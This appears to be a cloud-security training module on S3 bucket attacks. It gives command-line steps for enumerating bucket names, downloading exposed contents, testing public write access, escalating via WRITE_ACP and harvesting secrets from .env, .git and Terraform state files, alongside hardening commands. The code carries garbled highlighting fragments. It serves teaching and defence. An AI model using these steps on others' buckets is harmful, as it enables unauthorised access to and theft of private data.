S3 Bucket Attacks

intermediate30 minWriteup

Finding and exploiting S3 misconfigurations

Learning Objectives

  • Find public S3 buckets
  • Exploit bucket permissions
  • Access sensitive data
  • Understand bucket policies

Amazon S3 (Simple Storage Service) is AWS's object storage service, and misconfigured S3 buckets are one of the most common sources of cloud data breaches. Think of S3 buckets like filing cabinets that can accidentally be left unlocked and placed on the sidewalk - if you don't explicitly secure them, anyone walking by can look inside.

Public S3 bucket exposures have leaked millions of records: voter databases, military intelligence, healthcare records, and source code. Understanding S3 security is essential for both attackers finding exposed data and defenders preventing these catastrophic leaks.

Real-World Impact

Major S3 breaches: Capital One (100M records), Verizon (14M records), US Military (classified data), Twitch (source code). Many breaches could have been prevented with proper bucket policies.

S3 Security Model

1S3 Access Control Layers:
2 
3LAYER 1: S3 Block Public Access (Account/Bucket Level)
4─────────────────────────────────────────────────────────────────────
5├── BlockPublicAcls: Block new public ACLs
6├── IgnorePublicAcls: Ignore existing public ACLs
7├── BlockPublicPolicy: Block new public bucket policies
8└── RestrictPublicBuckets: Restrict access to authorized users only
9 
10If ANY of these are enabled, public access is blocked
11(Even if bucket policy or ACL allows public access)
12 
13 
14LAYER 2: Bucket Policies (JSON policies)
15─────────────────────────────────────────────────────────────────────
16{
17 606070;">#a5d6ff;">"Effect": "Allow",
18 606070;">#a5d6ff;">"Principal": "*", // DANGEROUS: Anyone
19 606070;">#a5d6ff;">"Action": "s3:GetObject",
20 606070;">#a5d6ff;">"Resource": "arn:aws:s3:::bucket/*"
21}
22 
23Principal options:
24├── 606070;">#a5d6ff;">"*" = Anyone (public!)
25├── {606070;">#a5d6ff;">"AWS": "*"} = Any AWS authenticated user (still bad!)
26├── {606070;">#a5d6ff;">"AWS": "arn:aws:iam::123456789012:root"} = Specific account
27└── {606070;">#a5d6ff;">"Service": "cloudfront.amazonaws.com"} = AWS service
28 
29 
30LAYER 3: Access Control Lists (ACLs) - Legacy
31─────────────────────────────────────────────────────────────────────
32Grantee types:
33├── AllUsers = Public internet access
34├── AuthenticatedUsers = Any AWS account (not your account!)
35├── Specific AWS account ID
36└── Log delivery (for S3 access logs)
37 
38Permissions:
39├── READ = List objects (bucket) / Download (object)
40├── WRITE = Create/delete objects (bucket only)
41├── READ_ACP = Read ACL
42├── WRITE_ACP = Write ACL (can grant yourself more!)
43└── FULL_CONTROL = All of the above
44 
45 
46LAYER 4: IAM Policies (User/Role permissions)
47─────────────────────────────────────────────────────────────────────
48Attached to IAM principals, grant s3:* permissions

ACLs Are Legacy

AWS now recommends disabling ACLs entirely (BucketOwnerEnforced). Use bucket policies instead. When auditing, check both ACLs and policies for misconfigurations.

S3 Bucket Discovery

bash
1606070;"># Finding S3 Buckets
2 
3606070;"># Method 1: Brute Force Bucket Names
4─────────────────────────────────────────────────────────────────────
5606070;"># Common patterns:
6606070;"># company-name, company-backup, company-dev, company-prod
7606070;"># company.com-assets, www.company.com, company-internal
8 
9606070;"># Generate wordlist
10cat > buckets.txt << EOF
11company
12company-backup
13company-dev
14company-prod
15company-staging
16company-assets
17company-internal
18company-private
19company-public
20company-data
21company-logs
22www.company.com
23assets.company.com
24EOF
25 
26606070;"># Check existence
27for bucket in $(cat buckets.txt); do
28 response=$(curl -s -o /dev/null -w 606070;">#a5d6ff;">"%{http_code}" https://$bucket.s3.amazonaws.com)
29 if [ 606070;">#a5d6ff;">"$response" != "404" ]; then
30 echo 606070;">#a5d6ff;">"$bucket: $response"
31 fi
32done
33606070;"># 403 = Exists but access denied
34606070;"># 200 = Public access!
35 
36 
37606070;"># Method 2: S3Scanner Tool
38─────────────────────────────────────────────────────────────────────
39pip install s3scanner
40s3scanner -l buckets.txt
41 
42606070;"># Method 3: CloudBrute
43cloudbrute -d company.com -k company -m storage
44 
45606070;"># Method 4: Check Certificate Transparency
46606070;"># Buckets sometimes appear in SSL certificates
47crt.sh -> search for company
48606070;"># Look for s3.amazonaws.com subdomains
49 
50 
51606070;"># Method 5: Google Dorks
52─────────────────────────────────────────────────────────────────────
53site:s3.amazonaws.com 606070;">#a5d6ff;">"company"
54site:s3.amazonaws.com intitle:606070;">#a5d6ff;">"Index of"
55site:s3.amazonaws.com filetype:sql
56site:s3.amazonaws.com filetype:bak
57site:s3.amazonaws.com filetype:conf
58 
59 
60606070;"># Method 6: Wayback Machine
61─────────────────────────────────────────────────────────────────────
62606070;"># Historical references to S3 buckets
63https:606070;">//web.archive.org/web/*/company*.s3.amazonaws.com/*

S3 Exploitation

bash
1606070;"># Exploiting Misconfigured S3 Buckets
2 
3606070;"># Check Public Read Access
4─────────────────────────────────────────────────────────────────────
5606070;"># List bucket contents (no credentials)
6aws s3 ls s3:606070;">//target-bucket --no-sign-request
7 
8606070;"># Download all contents
9aws s3 sync s3:606070;">//target-bucket ./loot --no-sign-request
10 
11606070;"># Download specific file
12aws s3 cp s3:606070;">//target-bucket/sensitive.txt . --no-sign-request
13 
14 
15606070;"># Check Public Write Access
16─────────────────────────────────────────────────────────────────────
17606070;"># Try uploading a test file
18echo 606070;">#a5d6ff;">"test" > test.txt
19aws s3 cp test.txt s3:606070;">//target-bucket/ --no-sign-request
20 
21606070;"># If successful, you can:
22606070;"># - Upload malicious files
23606070;"># - Overwrite existing files
24606070;"># - Host phishing pages
25 
26 
27606070;"># Check Authenticated Access (Any AWS Account)
28─────────────────────────────────────────────────────────────────────
29606070;"># Use YOUR OWN AWS credentials
30aws s3 ls s3:606070;">//target-bucket
31606070;"># If this works but --no-sign-request doesn't,
32606070;"># bucket allows "AuthenticatedUsers" (any AWS account)
33 
34 
35606070;"># Check ACL Permissions
36─────────────────────────────────────────────────────────────────────
37606070;"># Get bucket ACL
38aws s3api get-bucket-acl --bucket target-bucket --no-sign-request
39 
40606070;"># Look for:
41606070;"># "URI": "http://acs.amazonaws.com/groups/global/AllUsers"
42606070;"># "URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
43 
44606070;"># Get object ACL
45aws s3api get-object-acl --bucket target-bucket --key file.txt --no-sign-request
46 
47 
48606070;"># Exploit WRITE_ACP Permission
49─────────────────────────────────────────────────────────────────────
50606070;"># If you have WRITE_ACP, you can change ACL to give yourself more access!
51 
52606070;"># Grant yourself full control
53aws s3api put-bucket-acl --bucket target-bucket --grant-full-control id=YOUR_CANONICAL_USER_ID
54 
55606070;"># Get your canonical user ID
56aws s3api list-buckets --query Owner.ID
bash
1606070;"># What to Look For in S3 Buckets
2 
3606070;"># Sensitive File Types
4─────────────────────────────────────────────────────────────────────
5*.sql 606070;"># Database dumps
6*.bak 606070;"># Backups
7*.conf, *.cfg 606070;"># Configuration files
8*.env 606070;"># Environment variables (secrets!)
9*.key, *.pem 606070;"># Private keys
10*.csv, *.xlsx 606070;"># Data exports
11*.log 606070;"># Log files
12*.zip, *.tar 606070;"># Archives
13.git/ 606070;"># Git repository (clone entire history!)
14id_rsa 606070;"># SSH private keys
15credentials.xml 606070;"># Jenkins credentials
16terraform.tfstate 606070;"># Terraform state (contains secrets!)
17 
18606070;"># Quick Search
19aws s3 ls s3:606070;">//bucket --recursive | grep -iE '.sql|.bak|.env|.key|.pem|credentials|password|secret'
20 
21 
22606070;"># Download Git Repository
23─────────────────────────────────────────────────────────────────────
24606070;"># If .git folder is accessible
25wget -r https:606070;">//bucket.s3.amazonaws.com/.git/
26cd bucket.s3.amazonaws.com
27git checkout -- .
28 
29606070;"># Now you have full source code with commit history!
30git log
31git show <commit-hash>
32 
33 
34606070;"># Terraform State Files (Goldmine!)
35─────────────────────────────────────────────────────────────────────
36606070;"># terraform.tfstate contains:
37606070;"># - AWS access keys
38606070;"># - Database passwords
39606070;"># - API tokens
40606070;"># - All secrets used in Terraform
41 
42aws s3 cp s3:606070;">//bucket/terraform.tfstate .
43cat terraform.tfstate | grep -i password
44cat terraform.tfstate | grep -i secret

Bucket Policy Analysis

bash
1606070;"># Analyzing Bucket Policies
2 
3606070;"># Get bucket policy
4aws s3api get-bucket-policy --bucket target-bucket --output text | python -m json.tool
5 
6606070;"># Dangerous Policy Patterns
7─────────────────────────────────────────────────────────────────────
8 
9606070;"># CRITICAL: Public Read Access
10{
11 606070;">#a5d6ff;">"Effect": "Allow",
12 606070;">#a5d6ff;">"Principal": "*", // <-- Anyone on internet!
13 606070;">#a5d6ff;">"Action": "s3:GetObject",
14 606070;">#a5d6ff;">"Resource": "arn:aws:s3:::bucket/*"
15}
16 
17606070;"># CRITICAL: Public Write Access
18{
19 606070;">#a5d6ff;">"Effect": "Allow",
20 606070;">#a5d6ff;">"Principal": "*",
21 606070;">#a5d6ff;">"Action": ["s3:PutObject", "s3:DeleteObject"],
22 606070;">#a5d6ff;">"Resource": "arn:aws:s3:::bucket/*"
23}
24 
25606070;"># HIGH: Any Authenticated AWS User
26{
27 606070;">#a5d6ff;">"Effect": "Allow",
28 606070;">#a5d6ff;">"Principal": {"AWS": "*"}, // <-- Any AWS account (not just yours!)
29 606070;">#a5d6ff;">"Action": "s3:*",
30 606070;">#a5d6ff;">"Resource": "arn:aws:s3:::bucket/*"
31}
32 
33606070;"># HIGH: Wildcard Account Access
34{
35 606070;">#a5d6ff;">"Effect": "Allow",
36 606070;">#a5d6ff;">"Principal": {"AWS": "arn:aws:iam::*:root"}, // <-- Any AWS root!
37 606070;">#a5d6ff;">"Action": "s3:GetObject",
38 606070;">#a5d6ff;">"Resource": "arn:aws:s3:::bucket/*"
39}
40 
41606070;"># MEDIUM: Overly Broad Condition
42{
43 606070;">#a5d6ff;">"Effect": "Allow",
44 606070;">#a5d6ff;">"Principal": "*",
45 606070;">#a5d6ff;">"Action": "s3:GetObject",
46 606070;">#a5d6ff;">"Resource": "arn:aws:s3:::bucket/*",
47 606070;">#a5d6ff;">"Condition": {
48 606070;">#a5d6ff;">"StringLike": {"aws:Referer": "*"} // <-- Easy to spoof!
49 }
50}

Principal: AWS: * vs Principal: *

Principal: "*" means completely public (no auth). Principal:{"AWS": "*"} means any authenticated AWS user (still very dangerous). Both are usually misconfigurations.

Pre-signed URLs

bash
1606070;"># S3 Pre-signed URLs
2 
3606070;"># Pre-signed URLs provide temporary access to private objects
4606070;"># They include a signature and expiration time
5 
6606070;"># Example pre-signed URL:
7https:606070;">//bucket.s3.amazonaws.com/file.txt?
8 X-Amz-Algorithm=AWS4-HMAC-SHA256&
9 X-Amz-Credential=AKIAXXXXXXXX/20240115/us-east-1/s3/aws4_request&
10 X-Amz-Date=20240115T120000Z&
11 X-Amz-Expires=3600&
12 X-Amz-SignedHeaders=host&
13 X-Amz-Signature=abc123...
14 
15 
16606070;"># Security Issues with Pre-signed URLs
17─────────────────────────────────────────────────────────────────────
18 
19606070;"># 1. Long Expiration Times
20606070;"># Default can be up to 7 days (604800 seconds)
21606070;"># URL can be shared and reused during that time
22 
23606070;"># 2. URL Leakage
24606070;"># Pre-signed URLs in:
25606070;"># - Browser history
26606070;"># - Proxy logs
27606070;"># - Referrer headers
28606070;"># - Shared documents
29 
30606070;"># 3. Generated with Over-Privileged Keys
31606070;"># If source keys are compromised, attacker can:
32606070;"># - Generate new pre-signed URLs
33606070;"># - Access objects directly
34 
35 
36606070;"># Generate Pre-signed URL (if you have credentials)
37─────────────────────────────────────────────────────────────────────
38aws s3 presign s3:606070;">//bucket/sensitive.txt --expires-in 3600
39 
40606070;"># Generate for PUT (upload)
41aws s3 presign s3:606070;">//bucket/upload.txt --expires-in 3600 --region us-east-1
42 
43 
44606070;"># Finding Pre-signed URLs in Traffic
45─────────────────────────────────────────────────────────────────────
46606070;"># Search in:
47606070;"># - Burp Suite history
48606070;"># - Browser DevTools Network tab
49606070;"># - Application logs
50606070;"># - JavaScript source code
51 
52606070;"># Pattern:
53grep -r 606070;">#a5d6ff;">"X-Amz-Signature" *
54grep -r 606070;">#a5d6ff;">"s3.amazonaws.com.*?" *

S3 Security Defenses

bash
1606070;"># Securing S3 Buckets
2 
3606070;"># 1. Enable S3 Block Public Access (Account Level)
4─────────────────────────────────────────────────────────────────────
5aws s3control put-public-access-block --account-id 123456789012 --public-access-block-configuration BlockPublicAcls=true, IgnorePublicAcls=true, BlockPublicPolicy=true, RestrictPublicBuckets=true
6 
7 
8606070;"># 2. Enable S3 Block Public Access (Bucket Level)
9─────────────────────────────────────────────────────────────────────
10aws s3api put-public-access-block --bucket my-bucket --public-access-block-configuration BlockPublicAcls=true, IgnorePublicAcls=true, BlockPublicPolicy=true, RestrictPublicBuckets=true
11 
12 
13606070;"># 3. Disable ACLs (Bucket Owner Enforced)
14─────────────────────────────────────────────────────────────────────
15aws s3api put-bucket-ownership-controls --bucket my-bucket --ownership-controls 606070;">#a5d6ff;">'Rules=[{ObjectOwnership=BucketOwnerEnforced}]'
16 
17 
18606070;"># 4. Enable Default Encryption
19─────────────────────────────────────────────────────────────────────
20aws s3api put-bucket-encryption --bucket my-bucket --server-side-encryption-configuration '{
21 606070;">#a5d6ff;">"Rules": [{
22 606070;">#a5d6ff;">"ApplyServerSideEncryptionByDefault": {
23 606070;">#a5d6ff;">"SSEAlgorithm": "aws:kms",
24 606070;">#a5d6ff;">"KMSMasterKeyID": "alias/my-key"
25 }
26 }]
27 }'
28 
29 
30606070;"># 5. Enable Versioning (Prevent Accidental Deletion)
31─────────────────────────────────────────────────────────────────────
32aws s3api put-bucket-versioning --bucket my-bucket --versioning-configuration Status=Enabled
33 
34 
35606070;"># 6. Enable Access Logging
36─────────────────────────────────────────────────────────────────────
37aws s3api put-bucket-logging --bucket my-bucket --bucket-logging-status '{
38 606070;">#a5d6ff;">"LoggingEnabled": {
39 606070;">#a5d6ff;">"TargetBucket": "my-log-bucket",
40 606070;">#a5d6ff;">"TargetPrefix": "s3-logs/"
41 }
42 }'
43 
44 
45606070;"># 7. Implement Secure Bucket Policy
46─────────────────────────────────────────────────────────────────────
47{
48 606070;">#a5d6ff;">"Version": "2012-10-17",
49 606070;">#a5d6ff;">"Statement": [
50 {
51 606070;">#a5d6ff;">"Sid": "DenyInsecureConnections",
52 606070;">#a5d6ff;">"Effect": "Deny",
53 606070;">#a5d6ff;">"Principal": "*",
54 606070;">#a5d6ff;">"Action": "s3:*",
55 606070;">#a5d6ff;">"Resource": [
56 606070;">#a5d6ff;">"arn:aws:s3:::my-bucket",
57 606070;">#a5d6ff;">"arn:aws:s3:::my-bucket/*"
58 ],
59 606070;">#a5d6ff;">"Condition": {
60 606070;">#a5d6ff;">"Bool": {"aws:SecureTransport": "false"}
61 }
62 }
63 ]
64}

S3 Attack Methodology

S3 Security Assessment

1
DiscoveryFind S3 buckets via brute force naming, DNS enumeration, Google dorks, certificate transparency, and code analysis.
2
Check Public AccessTest with --no-sign-request. Try listing, reading, and writing. Check both bucket and object-level permissions.
3
Check Authenticated AccessUse your own AWS credentials. If access works with auth but not without, bucket allows any AWS user.
4
Analyze PoliciesGet bucket policy and ACLs. Look for Principal: *, wildcards, and overly permissive actions.
5
Search for Sensitive DataLook for .sql, .env, .git, terraform.tfstate, credentials, backups. Download and analyze findings.
6
Check for Write AccessTest if you can upload files. Write access enables web defacement, malware hosting, or data poisoning.

Knowledge Check

Quick Quiz
Question 1 of 3

What does 'Principal: *' mean in an S3 bucket policy?

Challenges

S3 Bucket Audit

Challenge
🔥 intermediate

Given a company name 'acmecorp', create a script that: 1) Generates common bucket name variations, 2) Checks if each bucket exists, 3) Tests for public read access, 4) Reports findings.

Need a hint? (4 available)

Key Takeaways

  • S3 misconfigurations are among the most common cloud vulnerabilities
  • Principal: * = completely public, Principal: AWS: * = any AWS account
  • S3 Block Public Access overrides policies/ACLs - enable it!
  • Look for .sql, .env, .git, terraform.tfstate files in exposed buckets
  • WRITE_ACP permission lets you escalate to full control
  • Pre-signed URLs can leak sensitive data if long-lived or logged